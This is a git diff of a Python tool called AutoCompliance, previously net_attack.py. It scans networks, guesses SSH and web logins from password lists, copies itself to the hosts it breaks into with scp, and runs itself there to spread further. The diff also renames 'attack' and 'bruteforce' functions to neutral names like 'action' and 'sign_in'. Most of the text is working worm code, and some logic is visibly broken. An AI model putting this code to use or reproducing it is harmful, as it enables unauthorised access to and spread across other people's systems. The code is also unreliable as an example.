diff --git a/.circleci/config.yml b/.circleci/config.yml index 1c5b439..2883d1d 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -41,7 +41,7 @@ jobs: # Invoke jobs via workflows # See: https://circleci.com/docs/2.0/configuration-reference/#workflows workflows: - sample: # This is the name of the workflow, feel free to change it to better match your workflow. + autocompliance-workflow: # Inside the workflow, you define the jobs you want to run. jobs: - build-and-test diff --git a/.github/workflows/codeql-analysis-feature.yml b/.github/workflows/codeql-analysis-feature.yml index 8d77495..1e95dd1 100644 --- a/.github/workflows/codeql-analysis-feature.yml +++ b/.github/workflows/codeql-analysis-feature.yml @@ -13,10 +13,10 @@ name: "CodeQL - Feature" on: push: - branches: [ wiki_and_documentation_establishment ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] pull_request: # The branches below must be a subset of the branches above - branches: [ wiki_and_documentation_establishment ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] schedule: - cron: '34 22 * * 4' diff --git a/.github/workflows/python-app-feature.yml b/.github/workflows/python-app-feature.yml index 0346023..8b2a1ff 100644 --- a/.github/workflows/python-app-feature.yml +++ b/.github/workflows/python-app-feature.yml @@ -5,9 +5,9 @@ name: Python Application - Feature on: push: - branches: [ wiki_and_documentation_establishment ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] pull_request: - branches: [ wiki_and_documentation_establishment ] + branches: [ 14-finish-test_net_propagationpy-and-add-proper-logging ] jobs: build: diff --git a/.gitignore b/.gitignore index 42ca72f..754e84b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,4 @@ -.idea/workspace.xml -.idea/git_toolbox_prj.xml +.idea/ +**/__pycache__ +.coverage +htmlcov/ \ No newline at end of file diff --git a/dev_setup.sh b/dev_setup.sh index 1584160..43ee686 100755 --- a/dev_setup.sh +++ b/dev_setup.sh @@ -1,3 +1,3 @@ #!/usr/bin/env bash # Linux setup for running the scripts locally. -python3 -m pip install ipykernel paramiko scapy pytest requests +python3 -m pip install --upgrade pip ipykernel paramiko scapy pytest requests coverage diff --git a/docs/wiki/usage/index.md b/docs/wiki/usage/index.md index 87e05ac..0421169 100644 --- a/docs/wiki/usage/index.md +++ b/docs/wiki/usage/index.md @@ -24,8 +24,15 @@ The script will take in the following parameters: Example usage would look like this: ``` -./net_attack.py -t my_ip_list.txt -p 22,23,25,80 -u admin -f my_password_list.txt -./net_attack.py -t ip_list.txt -p 22 -u root -f passwords.txt -./net_attack.py -t ip_list.txt -p 22 -u root -f passwords.txt -d test.txt -./net_attack.py -L -p 22,23 -u root -f passwords.txt -P +# Running the propagation script across numerous services (SSH, Telnet, Web) +./main.py -t src/test_files/ip_list.txt -p 22,23,25,80 -u admin -f src/test_files/passwords_list.txt + +# Running the propagation script just across SSH +./main.py -t src/test_files/ip_list.txt -p 22 -u root -f src/test_files/passwords_list.txt + +# Running the propagation script just across SSH and spreading a specific file. +./main.py -t src/test_files/ip_list.txt -p 22 -u root -f src/test_files/passwords_list.txt -d src/test_files/file.txt + +# Running the propagation script across SSH and Telnet but acquiring IPs through a local scan and then subsequently self propagating. +./main.py -L -p 22,23 -u root -f src/test_files/passwords_list.txt -P ``` \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index 2761738..b2be968 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,7 +1,7 @@ -scapy>=2.4.5 +scapy ipykernel paramiko -scapy>=2.4.5 pytest -requests>=2.27.0 +requests coverage +pyinstaller diff --git a/run_tests.sh b/run_tests.sh new file mode 100755 index 0000000..ff87e48 --- /dev/null +++ b/run_tests.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash +# Linux setup for running the scripts locally. +# See; https://coverage.readthedocs.io/en/6.3.2/ +coverage run -m pytest +coverage report +coverage html diff --git a/src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc b/src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc deleted file mode 100644 index 81c39f3..0000000 Binary files a/src/__pycache__/net_propagation.cpython-310-pytest-6.2.5.pyc and /dev/null differ diff --git a/src/__pycache__/net_propagation.cpython-310.pyc b/src/__pycache__/net_propagation.cpython-310.pyc deleted file mode 100644 index a456a5d..0000000 Binary files a/src/__pycache__/net_propagation.cpython-310.pyc and /dev/null differ diff --git a/src/__pycache__/strings.cpython-310.pyc b/src/__pycache__/strings.cpython-310.pyc deleted file mode 100644 index 2d248b1..0000000 Binary files a/src/__pycache__/strings.cpython-310.pyc and /dev/null differ diff --git a/src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc b/src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc deleted file mode 100644 index 866da94..0000000 Binary files a/src/__pycache__/test_net_propagation.cpython-310-pytest-6.2.5.pyc and /dev/null differ diff --git a/src/main.py b/src/main.py index 2c72880..f5db456 100755 --- a/src/main.py +++ b/src/main.py @@ -1,40 +1,47 @@ #!/usr/bin/python3 -# TODO: Change method names and reread some comments like here for example, not -# attacking, propagating and protecting more like. (Andrew) +# Importing logging to safely log sensitive, error or debug info. import logging +# Importing net_propagation for propagating across the network. import net_propagation +# Importing strings for use of the external strings resources. import strings +# Importing sys to make OS calls and use OS level utilities. import sys -""" - - Importing logging to safely log sensitive, error or debug info. - - Importing net_propagation for propagating across the network. - - Importing strings for use of the external strings resources. - - Importing sys to make OS calls and use OS level utilities. -""" - -""" -===PLEASE READ=== -This main function itself has more specific, low level commenting. -""" - def main(): """ - This main function controls all the things. + This main function is what initially runs when AutoCompliance runs. """ # These arguments are passed in by the end user. arguments = sys.argv + + # If there is no arguments then just print the help menu and exit. + if arguments.__len__(): + net_propagation.exit_and_show_instructions() + sys.exit(-1) + # Just initialising this for use later. - transfer_file_filename = "" + transfer_file_filename = strings.BLANK_STRING + + # Validating and assigning values based on arguments passed in. + valid_values = net_propagation.checking_arguments(arguments) + # If they are valid values... + if valid_values is None: + # Show the user instructions and exit gracefully. + net_propagation.exit_and_show_instructions() + sys.exit(-1) - ip_list, target_ports, target_username, passwords_filename = \ - net_propagation.checking_arguments(arguments) + # Else... + else: + # Assign them... + ip_list, target_ports, target_username, passwords_filename = \ + valid_values # The end user specified a local scan must be executed, the result of the # local scan will extend the current ip_list. - if "-L" in arguments: + if strings.ARGUMENT_SCAN_LOCAL_NETWORKS in arguments: logging.info(strings.PERFORMING_LOCAL_SCAN) ip_list.extend(net_propagation.gathering_local_ips(ip_list)) @@ -46,41 +53,42 @@ def main(): password_list = \ net_propagation.convert_file_to_list(passwords_filename) except RuntimeError: - # Uh oh, file doesn't exist, alert the user and exit gracefully, so - # they can either fix their mistake or repent their sins. + # File doesn't exist, alert the user and exit gracefully, so + # they can possibly fix their mistake. net_propagation.file_error_handler() - sys.exit() + sys.exit(-1) # If the user wants to transfer a file, this stuff should be done... - if "-d" in arguments: + if strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE in arguments: try: # Again making sure the transfer file actually exits, just like # the password file above. net_propagation.validate_file_exists(transfer_file_filename) - # if it does though we assign the filename to the name out of scope + # If it does though we assign the filename to the name out of scope # above. - transfer_file_filename = arguments[arguments.index("-d") + 1] + transfer_file_filename = arguments[arguments.index( + strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE) + 1] except RuntimeError: - # File doesn't exist, throw an error and give the usual slap across - # the wrist. + # File doesn't exist, throw an error and give the user a chance to + # try again. net_propagation.file_error_handler() - sys.exit() + sys.exit(-1) # Removing duplicate entries in the IP address list, can come from - # combining local scan with given IP addresses in an ip address file among - # other things and silliness. + # combining local scan with given IP addresses in an ip address file for + # example. This would be a user error, we're just handling that. ip_list = list(dict.fromkeys(ip_list)) # Removing IPs from the IP list that can't be pinged from the host machine # of the script. ip_list = net_propagation.remove_unreachable_ips(ip_list) # Getting a list of ports by splitting the target ports specified by the # user on the comma. - ports = target_ports.split(",") + ports = target_ports.split(strings.COMMA) # Cycling through every IP in the IP list... for ip in ip_list: # And then using all user specified ports against that specific IP... for port in ports: - # Try to spread :D - net_propagation.try_attack(ip, port, target_username, + # Try to spread using services and actions. + net_propagation.try_action(ip, port, target_username, password_list, transfer_file_filename, arguments) diff --git a/src/net_propagation.py b/src/net_propagation.py index faa8821..e15b30b 100755 --- a/src/net_propagation.py +++ b/src/net_propagation.py @@ -1,47 +1,38 @@ #!/usr/bin/python3 -# TODO: Add param and return keywords to block comments with the necessary -# contents to clarify what's being passed in and out. Maybe look at some -# automatic documentation / keyword solutions? (Andrew) -# from scapy.all import * -# For use when adding new functionality with scapy, be sure to statically -# import when finished, wildcard is just for convenience. +# Importing paramiko modules for SSH connection and exception handling. +import pipes + +from paramiko import SSHClient, RejectPolicy +from paramiko.ssh_exception import NoValidConnectionsError, SSHException +# Importing modules from scapy for Packet Crafting and Sending / Sniffing. from scapy.all import get_if_addr from scapy.interfaces import get_if_list from scapy.layers.inet import IP, TCP from scapy.sendrecv import sr from scapy.utils import subprocess, os -from telnetlib import Telnet +# from scapy.all import * +# Importing sleep to allow network processes time to complete. from time import sleep -from paramiko import SSHClient, AutoAddPolicy +# Importing logging to safely log sensitive, error or debug info. import logging +# Importing requests for web based operations. import requests +# Importing strings for use of the external strings resources. import strings -""" - - Importing modules from scapy for Packet Crafting and Sending / Sniffing. - - Importing telnetlib for telnet operations. - - Importing sleep to allow network processes time to complete. - - Importing from paramiko for ssh operations. - - Importing logging to safely log sensitive, error or debug info. - - Importing requests for web based operations. - - Importing strings for use of the external strings resources. -""" - -""" -===PLEASE READ=== -Functions and methods are organised alphabetically with the exception of the -main method specified last. Every function has a block comment explaining what -it does. -""" - - -def additional_attacks(arguments, ip, port, username, + +def additional_actions(arguments, ip, port, username, transfer_file_filename): """ This function passes the appropriate arguments to and runs the transferring file and propagating functions, these functions contain the check to stop - them from being run if the appropriate arguments aren't used. + them from being run if the appropriate arguments aren't used + :param arguments: Arguments passed in by the user themselves + :param ip: The ip address we are transferring the file to + :param port: The port we are transferring the file through + :param username: The username for the transfer action + :param transfer_file_filename: Filename for the file to be transferred """ try_transferring_file(arguments, ip, port, username, transfer_file_filename) @@ -51,7 +42,9 @@ def additional_attacks(arguments, ip, port, username, def append_lines_from_file_to_list(file): """ This function will read a file and return the lines (minus the newline - character) as a list. + character) as a list + :param file: The file to read and gather lines from + :return lines_list: The lines themselves. """ lines_list = [] for line in file: @@ -63,94 +56,84 @@ def assigning_values(arguments): """ This function will read in the target ports, target username and passwords filename from the user and if the user specified an ip addresses file it - will read that and return it alongside all the other values. - """ - if "-t" in arguments: - ip_addresses_filename = arguments[arguments.index("-t") + 1] + will read that and return it alongside all the other values + :param arguments: The arguments passed in by the user + :return ip_list: The list of IP addresses contained in the given file + :return target_ports: The selection of ports to target + :return target_username: The username that will be used for actions + :return passwords_filename: The filename of the passwords file + :return None: If a runtime error occurs + """ + if strings.ARGUMENT_IP_ADDRESS_FILENAME in arguments: + try: + ip_addresses_filename = \ + arguments[ + arguments.index(strings.ARGUMENT_IP_ADDRESS_FILENAME) + 1] + except RuntimeError: + logging.error(strings.IP_FILENAME_NOT_FOUND) + return None try: ip_list = convert_file_to_list(ip_addresses_filename) - target_ports = arguments[arguments.index("-p") + 1] - target_username = arguments[arguments.index("-u") + 1] - passwords_filename = arguments[arguments.index("-f") + 1] + target_ports = arguments[ + arguments.index(strings.ARGUMENT_PORTS) + 1] + target_username = \ + arguments[arguments.index(strings.ARGUMENT_USERNAME) + 1] + passwords_filename = \ + arguments[arguments.index(strings.ARGUMENT_PWS_FILENAME) + + 1] return ip_list, target_ports, target_username, passwords_filename except RuntimeError: logging.error(strings.ip_list_not_read(ip_addresses_filename)) - gtfo_and_rtfm() - - -def bruteforce_service(ip, port, username, password_list): - """ - This function will run through every password in the password list and will - attempt to bruteforce the appropriate service with that password. It will - only move on to the next password in the event that the current password - fails in its bruteforce attempt. If it succeeds then the successful login - details are returned, if not then Null is returned. - """ - for password in password_list: - login_details = (try_password_for_service(ip, port, username, - password)) - if login_details != "": - return login_details - return None + return None def check_over_ssh(ip, port, username, password): """ - This function checks if the net_attack.py script is already located at the - target machine over SSH. If it is then false is returned and if not then - true is returned. This is needed as a prerequisite to propagating over SSH. + This function checks if the net_propagation.py script is already located at + the target machine over SSH. If it is then false is returned and if not + then true is returned. This is needed as a prerequisite to propagating over + SSH + :param ip: The IP address target for SSH + :param port: The port on which we're running SSH + :param username: The username to target over SSH + :param password: Password to use with SSH + :return True: If the file doesn't exist on the target host or there's a + problem with SSH (assuming file isn't present essentially) + :return False: If the file does exist """ client = SSHClient() try: - client.set_missing_host_key_policy(AutoAddPolicy()) + client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) - client.exec_command("touch net_attack.py") - if str(client.exec_command("cat net_attack.py")[1]).__len__() < 1: + if strings.touch_file(strings.MAIN_FILENAME) == "touch main.py": + client.exec_command(pipes.quote(strings. + touch_file(strings.MAIN_FILENAME))) + else: + logging.error(strings.SANITATION_FAILED) client.close() - return True + return False + if strings.cat_file(strings.MAIN_FILENAME) == "cat main.py": + if str(client.exec_command(pipes.quote(strings.cat_file( + strings.MAIN_FILENAME)))[1]).__len__() < 1: + client.close() + return True + + logging.error(strings.SANITATION_FAILED) client.close() return False - except RuntimeError: + except NoValidConnectionsError: client.close() return True + except TimeoutError: + client.close() + return True -def check_over_telnet(ip, port, username, password): - """ - This function checks if the net_attack.py script is already located at the - target machine over telnet. If it is then false is returned and if not then - true is returned. This is needed as a prerequisite to propagating over - telnet. - """ - try: - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until("login:".encode("ascii")) - tel.write((str(username) + "\n").encode("ascii")) - tel.read_until("Password:".encode("ascii")) - tel.write((str(password) + "\n").encode("ascii")) - data = tel.read_until("Welcome to".encode("ascii"), timeout=4) - if check_telnet_data("Welcome to", data): - tel.write("cat net_attack.py\n".encode("ascii")) - data = tel.read_until("main()".encode("ascii"), timeout=4) - if data.__contains__("main()".encode("ascii")): - return False - return True - return False - - except RuntimeError: - return False - - -def check_telnet_data(string_to_check, data): - """ - This function checks data gathered from the telnet service for a specific - string and returns True if it finds it and false if it doesn't. - """ - if data.__contains__(string_to_check.encode("ascii")): + except SSHException: + client.close() return True - return False def checking_arguments(arguments): @@ -164,90 +147,87 @@ def checking_arguments(arguments): :return values[1]: Ports and subsequently services to target :return values[2]: Username to target :return values[3]: Filename for a file containing passwords - """ - if (("-t" or "-L" in arguments) and "-p" and "-u" and "-f" in arguments - and len(arguments) >= 8 and "-h" and "--help" not in arguments): + :return None: If the values can't be assigned. + """ + if ((strings.ARGUMENT_IP_ADDRESS_FILENAME or + strings.ARGUMENT_SCAN_LOCAL_NETWORKS in arguments) and + strings.ARGUMENT_PORTS and strings.ARGUMENT_USERNAME and + strings.ARGUMENT_USERNAME in arguments and len(arguments) >= 8 and + strings.ARGUMENT_HELP_SHORT and strings.ARGUMENT_HELP_LONG not in + arguments): try: values = assigning_values(arguments) - return values[0], values[1], values[2], values[3] - + if values is not None: + return values[0], values[1], values[2], values[3] + logging.error(strings.FAILED_ASSIGNING_VALUES) + return None except RuntimeError: - logging.error("Failed assigning values (maybe null)") - gtfo_and_rtfm() + logging.error(strings.FAILED_ASSIGNING_VALUES) + return None else: - logging.error("Parameter misuse, check help text below") - gtfo_and_rtfm() + logging.error(strings.PARAMETER_MISUSE) + return None def connect_ssh_client(ip, port, username, password): """ This function checks to see if an SSH connection can be established and if - so then it returns true, if not then it returns false. + so then it returns true, if not then it returns false + :param ip: The target IP address for SSH + :param port: The target port for SSH + :param username: The target username for SSH + :param password: The target password for SSH + :return True: If the SSH connect is successful + :return False: If the SSH connect is unsuccessful """ client = SSHClient() try: - client.set_missing_host_key_policy(AutoAddPolicy()) + client.set_missing_host_key_policy(RejectPolicy) client.connect(hostname=str(ip), port=int(port), username=str(username), password=str(password)) client.close() - logging.info(strings.connection_status("SSH", ip, port, "Successful")) + logging.info(strings.connection_status(strings.SSH, ip, port, + strings.SUCCESSFUL)) return True - except RuntimeError: + except SSHException: client.close() - logging.debug(strings.connection_status("SSH", ip, port, - "Unsuccessful")) - return False - - -def connect_telnet(ip, port, username, password): - """ - This function checks to see if a telnet connection can be established and - if so then it returns true, if not then it returns false. - """ - try: - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until("login:".encode("ascii")) - tel.write((str(username) + "\n").encode("ascii")) - tel.read_until("Password:".encode("ascii")) - tel.write((str(password) + "\n").encode("ascii")) - - data = tel.read_until("Welcome to".encode("ascii"), timeout=4) - logging.info(strings.connection_status("telnet", ip, port, - "Successful")) - if check_telnet_data("Welcome to", data): - return True - logging.debug(strings.connection_status("telnet", ip, port, - "Unsuccessful")) - return False - - except RuntimeError: - logging.debug(strings.connection_status("telnet", ip, port, - "Unsuccessful")) + logging.debug(strings.connection_status(strings.SSH, ip, port, + strings.UNSUCCESSFUL)) return False def connect_web(ip, port, username, password): """ This function check to see if a web login can be established and if so then - it returns true, if not then it returns false. + it returns true, if not then it returns false + :param ip: The target IP address for web login + :param port: The target port for web login + :param username: The target username for web login + :param password: The target password for web login + :return True: If the web login is successful + :return False: If the web login connect is unsuccessful """ attempt_succeeded = False try: send_post_request_with_login(ip, port, username, password) attempt_succeeded = True except RuntimeError: - logging.debug(strings.connection_status("web", ip, port, - "Unsuccessful")) + logging.debug(strings.connection_status(strings.WEB, ip, port, + strings.UNSUCCESSFUL)) if attempt_succeeded: - logging.info(strings.connection_status("web", ip, port, "Successful")) + logging.info(strings.connection_status(strings.WEB, ip, port, + strings.SUCCESSFUL)) return attempt_succeeded def convert_file_to_list(filename): """ This function will convert a given file specified by a filename to a list - and will then proceed to return that list. + and will then proceed to return that list + :param filename: The filename of the file that needs to be converted to a + list + :return file_as_list: The list of the lines from the file """ with open(str(filename)) as file: file_as_list = append_lines_from_file_to_list(file) @@ -258,18 +238,21 @@ def cycle_through_subnet(ip_list, interface): """ This function takes in a given network interface and an IP list, it will get the IP address of the interface and add all the address from its /24 - subnet to the IP list and will then return the list. + subnet to the IP list and will then return the list + :param ip_list: The list of IP addresses in the subnet + :param interface: The interface on which each IP address is to be checked + for a response """ - interface_split = get_if_addr(interface).split(".") + interface_split = get_if_addr(interface).split(strings.FULL_STOP) last_byte = 0 while last_byte < 256: - specific_address = str(interface_split[0]) + "." \ - + str(interface_split[1]) + "." \ - + str(interface_split[2]) + "." \ + specific_address = str(interface_split[0]) + strings.FULL_STOP \ + + str(interface_split[1]) + strings.FULL_STOP \ + + str(interface_split[2]) + strings.FULL_STOP \ + str(last_byte) if not ip_list.__contains__(specific_address): - print("Adding " + str(specific_address) + " from interface " - + str(interface) + "'s subnet.") + logging.info(strings.adding_address_to_interface(specific_address, + interface)) ip_list.append(specific_address) last_byte = last_byte + 1 return ip_list @@ -280,39 +263,45 @@ def file_error_handler(): This function handles errors related to the processing of files. """ print(strings.FILENAME_PROCESSING_ERROR) - gtfo_and_rtfm() + exit_and_show_instructions() def file_not_exist(ip, port, username, password): """ This function will check whether network_attack.py exists on a target - machine and how it does that is dependent on the port being passed in. + machine and how it does that is dependent on the port being passed in + :param ip: IP of the machine we're checking for a file for + :param port: Port on which we which to check the machine + :param username: Username to use as part of checking the file + :param password: Password being used as part of checking the file + :return check_over_ssh(ip, port, username, password): """ - if str(port) == "22": - return check_over_ssh(ip, port, username, password) - - return check_over_telnet(ip, port, username, password) + return check_over_ssh(ip, port, username, password) def gathering_local_ips(ip_list): """ This function will cycle through all local interfaces outside the loopback - interface and will add their /24 subnets to the IP list. + interface and will add their /24 subnets to the IP list + :param ip_list: The IPs for which we're fetching the subnets + :return ip_list: The IP list with the newly found subnet addresses """ - print("Fetching local interface list...") + logging.info(strings.FETCHING_LOCAL_INTERFACE_LIST) local_interfaces = get_if_list() + if strings.LOOPBACK in local_interfaces: + local_interfaces = local_interfaces.remove(strings.LOOPBACK) for interface in local_interfaces: - if str(interface) != "lo": - (print("Fetching IPs for interface " + str(interface) + "...")) + if str(interface) != strings.LOOPBACK: + logging.info(strings.fetching_ips_for_interface(interface)) ip_list.extend(cycle_through_subnet(ip_list, interface)) return ip_list -def gtfo_and_rtfm(): +def exit_and_show_instructions(): """ This function will print the help screen and show an exit prompt. """ - print(strings.PLS_HELP) + print(strings.help_output()) print(strings.EXITING) @@ -321,20 +310,23 @@ def is_reachable_ip(ip): This function checks to see if an IP is reachable and returns true if it is and false if it isn't. The commented out code is the scapy way of doing it and the uncommented code uses OS calls. In my testing OS calls were faster - but both approaches work. + but both approaches work + :param ip: The IP address we're checking to see if it is reachable + :return True: If the IP address is reachable + :return False: If the IP address is not reachable """ # ping_pkt = IP(dst=str(ip))/ICMP() # reply = sr(ping_pkt, timeout=1)[0] # if not reply: - # print(str(ip) + " was not reachable.") + # logging.debug(strings.ip_reachability(ip, False)) # return False - # print(ip + " was reachable.") + # logging.info(strings.ip_reachability(ip, True)) # return True - command = ["ping", "-c", "1", str(ip)] + command = [strings.PING, strings.PING_ARGUMENT, strings.ONE, str(ip)] if subprocess.call(command) == 0: - print(str(ip) + " was reachable.") + logging.info(strings.ip_reachability(ip, True)) return True - print(str(ip) + " was not reachable.") + logging.debug(strings.ip_reachability(ip, False)) return False @@ -342,57 +334,55 @@ def propagate_script(ip, port, login_string): """ This function is responsible for propagating the network_attack.py to a previously bruteforce machine. It will only run when the user specifies - using the appropriate argument and when the port being bruteforce is - either 22 (SSH) and 23 (telnet), it will also check to ensure the script - isn't already present on the target. It goes about propagating the script - in different ways depending on if an SSH port or a telnet port is - specified. - """ - login_string_split = login_string.split(":") + using the appropriate argument and when the port being bruteforce is 22 + (SSH), it will also check to ensure the script isn't already present on + the target. It goes about propagating the script in different ways + depending on if an SSH port is specified + :param ip: The IP address we wish to propagate the script to + :param port: The port through which we'll propagate the script + :param login_string: This string contains the username and password for the + service used + :return True: If the script is successfully propagated here + :return False: If the script is not successfully propagated here + """ + login_string_split = login_string.split(strings.COLON) try: if file_not_exist(ip, port, login_string_split[0], login_string_split[1]): - if str(port) == "22": - print("Please type in this password below and say yes to any" - + " RSA key prompts: ") - os.system("scp -P " + str(port) + " net_attack.py " - + login_string_split[0] + "@" + ip + ":~/") - print("Please type in this password again: ") - os.system("scp -P " + str(port) + " passwords.txt " - + login_string_split[0] + "@" + ip + ":~/") - client = SSHClient() - try: - client.set_missing_host_key_policy(AutoAddPolicy()) - client.connect(hostname=str(ip), port=int(port), - username=str(login_string_split[0]), - password=str(login_string_split[1])) - client.exec_command("net_attack.py -L -p 22,23 -u " - + login_string_split[0] + " -f" - + " passwords.txt -P") - client.close() - return True - - except RuntimeError: + print(strings.RSA_AND_PROMPT) + os.system(strings.scp_command_string(port, + login_string_split[0], + ip, + os.path + .basename(__file__))) + print(strings.RSA_PROMPT_AGAIN) + os.system(strings.scp_command_string(port, + login_string_split[0], + ip, + strings.PWDS_LIST)) + client = SSHClient() + try: + client.set_missing_host_key_policy(RejectPolicy) + client.connect(hostname=str(ip), port=int(port), + username=str(login_string_split[0]), + password=str(login_string_split[1])) + if strings.run_script_command() == "./main.py -L -p 22 -u " \ + "root -f " \ + "src/test_files/" \ + "passwords_list.txt -P": + client.exec_command(pipes.quote( + strings.run_script_command())) + else: + logging.error(strings.SANITATION_FAILED) client.close() return False - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until("login:".encode("ascii")) - tel.write((str(login_string_split[0]) + "\n").encode("ascii")) - tel.read_until("Password:".encode("ascii")) - tel.write((str(login_string_split[1]) + "\n").encode("ascii")) - tel.write(("nc -l -p " + str(port) - + " > net_attack.py").encode("ascii")) - os.system(("nc -w 3 " + str(ip) + " " + str(port) - + " < net_attack.py").encode("ascii")) - tel.write(("nc -l -p " + str(port) - + " > passwords.txt").encode("ascii")) - os.system(("nc -w 3 " + str(ip) + " " + str(port) - + " < passwords.txt").encode("ascii")) - tel.write(("net_attack.py -L -p 22,23 -u " + login_string_split[0] - + " -f passwords.txt -P").encode("ascii")) - return True + client.close() + return True + except RuntimeError: + client.close() + return False else: - print("net_attack.py is already on host: " + str(ip)) + logging.debug(strings.file_present_on_host(ip)) return False except RuntimeError: return False @@ -401,11 +391,14 @@ def propagate_script(ip, port, login_string): def remove_unreachable_ips(ip_list): """ This function will try and ping every IP in the IP list and if it doesn't - receive a response it will then remove that IP from the IP list. + receive a response it will then remove that IP from the IP list + :param ip_list: The list of IP Addresses to check + :return new_ip_list: The revised list of IP addresses with invalid + addresses removed. """ new_ip_list = [] for ip in ip_list: - print("Checking if the following ip address is reachable: " + str(ip)) + logging.info(strings.checking_ip_reachable(ip)) if is_reachable_ip(ip): new_ip_list.append(ip) return new_ip_list @@ -414,10 +407,14 @@ def remove_unreachable_ips(ip_list): def scan_port(ip, port): """ This function will scan a port to see if it is open. If the port is open - then it will return true and if it is not then it will return false. + then it will return true and if it is not then it will return false + :param ip: The IP address on which the port is situated + :param port: The port we wish to scan + :return True: The port is open + :return False: The port is not open """ ip_header = IP(dst=ip) - tcp_header = TCP(dport=int(port), flags="S") + tcp_header = TCP(dport=int(port), flags=strings.SYN_FLAG) packet = ip_header / tcp_header response, unanswered = sr(packet, timeout=2) sleep(2) @@ -431,30 +428,43 @@ def send_post_request_with_login(ip, port, username, password): This function sends a post request to a web server in an attempt to bruteforce its login details. If it succeeds with the given arguments then it will return the successful string of details, if not then it will return - Null. - """ - response = requests.post("https://" + ip + ":" + port + "/login.php", - data={"username": username, "password": password}, + Null + :param ip: The IP address with the web service + :param port: The port of the web service + :param username: The username for the web login + :param password: The password for the web login + """ + response = requests.post(strings.web_login_url(ip, port), + data={strings.USERNAME_PROMPT_WEB: username, + strings.PASSWORD_PROMPT_WEB: password}, timeout=4) if response: - logging.info(strings.connection_status("web", ip, port, "Successful")) - return str(username) + ":" + str(password) - else: - logging.debug(strings.connection_status("web", ip, port, - "Unsuccessful")) - return None + logging.info(strings.connection_status(strings.WEB, ip, port, + strings.SUCCESSFUL)) + return str(username) + strings.COLON + str(password) + logging.debug(strings.connection_status(strings.WEB, ip, port, + strings.UNSUCCESSFUL)) + return None -def telnet_connection(ip_telnet, port_telnet, username_telnet, - password_telnet): +def sign_in_service(ip, port, username, password_list): """ - This function will try to establish a telnet connection, if it does it will - return the successful telnet login string and if not then it will return a - null value. + This function will run through every password in the password list and will + attempt to sign in to the appropriate service with that password. It will + only move on to the next password in the event that the current password + fails in its sign in attempt. If it succeeds then the successful login + details are returned, if not then Null is returned + :param ip: The IP address to attempt to sign in to + :param port: The port and subsequently service we're signing in to + :param username: The username we're signing in to services on + :param password_list: The list of passwords to attempt + :return login_details: The username and password to return + :return None: Only done to indicate an unsuccessful task """ - if connect_telnet(ip_telnet, port_telnet, username_telnet, - password_telnet): - return str(username_telnet) + ":" + str(password_telnet) + for password in password_list: + login_details = try_password_for_service(ip, port, username, password) + if login_details is not False: + return login_details return None @@ -463,78 +473,80 @@ def transfer_file(ip, port, login_string, transfer_file_filename): This function will transfer a given file if the end user has provided the appropriate argument, and only when bruteforce login details are found for either tenet or SSH. It handles the transfer of this file differently - depending on whether the port value given is an SSH port or a telnet port. - """ - login_string_split = login_string.split(":") + depending on whether the port value given is an SSH port + :param ip: The IP address to which the file should be transferred + :param port: The port over which the file should be transferred + :param login_string: The username and password needed for the transfer of + the file over the given service + :param transfer_file_filename: The filename of the file to be transferred + :return True: The transfer of the file is a success + :return False: The transfer of the file is unsuccessful + """ + login_string_split = login_string.split(strings.COLON) try: - if str(port) == "22": - print( - "Please type in this password below and say yes to any RSA key" - + " prompts: ") - os.system("scp -P " + str(port) + " " + transfer_file_filename - + " " + login_string_split[0] + "@" + ip + ":~/") - return True - - tel = Telnet(host=ip, port=port, timeout=2) - tel.read_until("login:".encode("ascii")) - tel.write((str(login_string_split[0]) + "\n").encode("ascii")) - tel.read_until("Password:".encode("ascii")) - tel.write((str(login_string_split[1]) + "\n").encode("ascii")) - tel.write(("nc -l -p " + str(port) + " > " - + str(transfer_file_filename) + "\n").encode("ascii")) - os.system(("nc -w 3 " + str(ip) + " " + str(port) + " < " - + str(transfer_file_filename) + "\n").encode("ascii")) + print(strings.RSA_AND_PROMPT) + os.system(strings.scp_command_string(port, login_string_split[0], + ip, transfer_file_filename)) return True except ConnectionRefusedError: return False -def try_attack(ip, port, target_username, password_list, +def try_action(ip, port, target_username, password_list, transfer_file_filename, arguments): """ - This function will attempt a bruteforce attack across various services + This function will attempt a sign in action across various services depending on the ip or port supplied (if the port is open on that IP), it - iterates through the password list when you bruteforce the appropriate - service associated with the port number supplied. If the bruteforce attack - is successful it will then check the need for additional attacks specified - by the end user. + iterates through the password list when you sign in to the appropriate + service associated with the port number supplied. If the sign in action + is successful it will then check the need for additional actions specified + by the end user + :param ip: The IP address on which we wish to try an action + :param port: The port over which we wish to try an action + :param target_username: The username for the action + :param password_list: A list of possible passwords + :param transfer_file_filename: A filename for file to transfer + :param arguments: List of user specified arguments """ - logging.info("Now testing an IP address and port pair") if scan_port(ip, port): - logging.info("Found an open IP address and port pair") - bruteforce_login_details = try_bruteforce(ip, port, target_username, - password_list) - if bruteforce_login_details[0]: - additional_attacks(arguments, ip, port, - bruteforce_login_details[0], + logging.info(strings.FOUND_OPEN_IP_PORT_PAIR) + action_login_details = try_sign_in(ip, port, target_username, + password_list) + if action_login_details[0]: + additional_actions(arguments, ip, port, + action_login_details[0], transfer_file_filename) else: - print("This IP address and port pair is closed.") + logging.debug(strings.CLOSED_IP_PORT_PAIR) -def try_bruteforce(ip, port, target_username, password_list): +def try_sign_in(ip, port, target_username, password_list): """ - This function will try to bruteforce a specific service depending on the + This function will try to sign in to a specific service depending on the port supplied. If it gets a successful login then it will return the login details and the service used, otherwise it returns null as the login - details along with the service used. + details along with the service used + :param ip: Target IP address for an action + :param port: Target port over 